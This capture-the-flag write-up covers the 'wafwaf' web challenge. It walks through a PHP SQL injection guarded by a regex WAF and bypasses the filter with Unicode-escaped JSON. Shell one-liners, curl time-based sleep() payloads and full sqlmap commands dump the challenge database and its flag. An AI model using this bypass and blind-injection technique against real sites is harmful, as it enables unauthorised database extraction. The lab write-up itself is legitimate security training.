wafwaf
3 minutes to read
We are given the following website, which also shows the relevant PHP source code:
Source code analysis
The first thing we notice is a clear SQL injection:
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
This happens because the value of $obj->user
is inserted directly into the SQL query, without prepared statements.
However, there is a waf
function that acts like a WAF (Web Application Firewall):
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
This function constructs this RegEx:
/[\(\*\<\=\>\|'&\-@]|select|and|or|if|by|from|where|as|is|in|not|having/i
If the RegEx matches nothing, then the waf decodes the JSON data and returns.
Notice that the query does not return any data and does not show any errors. Therefore, the only information we can get is the execution time, which points to a time-based SQL injection attack.
Solution
The key here is that we must send JSON data. As a result, we can encode string characters in Unicode (for instance, "a"
is the same as "\u0061"
, which is somewhat its ASCII value in hexadecimal).
We can create a shell function to encode a string in Unicode JSON data:
$ function encode() { for h in $(echo -n "$1" | xxd -p -c 1); do echo -n \\\\u00$h; done }
And this is the time-based oracle when we have a truthy condition and a false condition:
$ time curl 83.136.253.44:58795 -d "{\"user\":\"$(encode "' or sleep(5) and '1'='1")\"}"
curl 83.136.253.44:58795 -d 0,01s user 0,00s system 0% cpu 5,126 total
$ time curl 83.136.253.44:58795 -d "{\"user\":\"$(encode "' or sleep(5) and '1'='2")\"}"
curl 83.136.253.44:58795 -d 0,01s user 0,01s system 19% cpu 0,091 total
Implementation
I solved this challenge a long time ago, and I wrote a solution script in Node.js, called solve.js
. The procedure is quite standard:
- Find database names
- For the desired database, list tables
- For the desired database and table, list columns
- For the desired database, table and column, list values
The script uses binary search to dump values faster and asynchronous functions. Nevertheless, the code might be a bit difficult to read… but it works:
$ node solve.js 83.136.253.44:58795
8
db_m8452
2
21
5
[ 'definitely_not_a_flag', 'notes' ]
definitely_not_a_flag 1 1
4
flag
33
HTB{w4f_w4fing_my_w4y_0utt4_h3r3}
notes 3 1
2
id
1
1
4
note
6
wafwaf
8
assignee
5
admin
db_m8452 [
definitely_not_a_flag: { flag: [ 'HTB{w4f_w4fing_my_w4y_0utt4_h3r3}' ] },
notes: { id: [ '1' ], note: [ 'wafwaf' ], assignee: [ 'admin' ] }
]
time: 5:47.427 (m:ss.mmm)
Another way is to use sqlmap
, which already has a tamper called charunicodeescape
that performs the WAF bypass we need to perform the SQLi attack. These queries will give the flag:
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 --dbs
...
available databases [5]:
[*] db_m8452
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 --tables
...
Database: db_m8452
[2 tables]
+-----------------------+
| definitely_not_a_flag |
| notes |
+-----------------------+
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 -T definitely_not_a_flag --columns
...
Database: db_m8452
Table: definitely_not_a_flag
[1 column]
+--------+------+
| Column | Type |
+--------+------+
| flag | text |
+--------+------+
$ sqlmap --url http://83.136.253.44:58795 --method POST --data '{"user":"*"}' --tamper charunicodeescape --skip-waf --batch --risk 3 --level 5 --technique T --dbms mysql -v 0 -D db_m8452 -T definitely_not_a_flag -C flag --dump
...
Database: db_m8452
Table: definitely_not_a_flag
[1 entry]
+-----------------------------------+
| flag |
+-----------------------------------+
| HTB{w4f_w4fing_my_w4y_0utt4_h3r3} |
+-----------------------------------+
Flag
So, the flag is:
HTB{w4f_w4fing_my_w4y_0utt4_h3r3}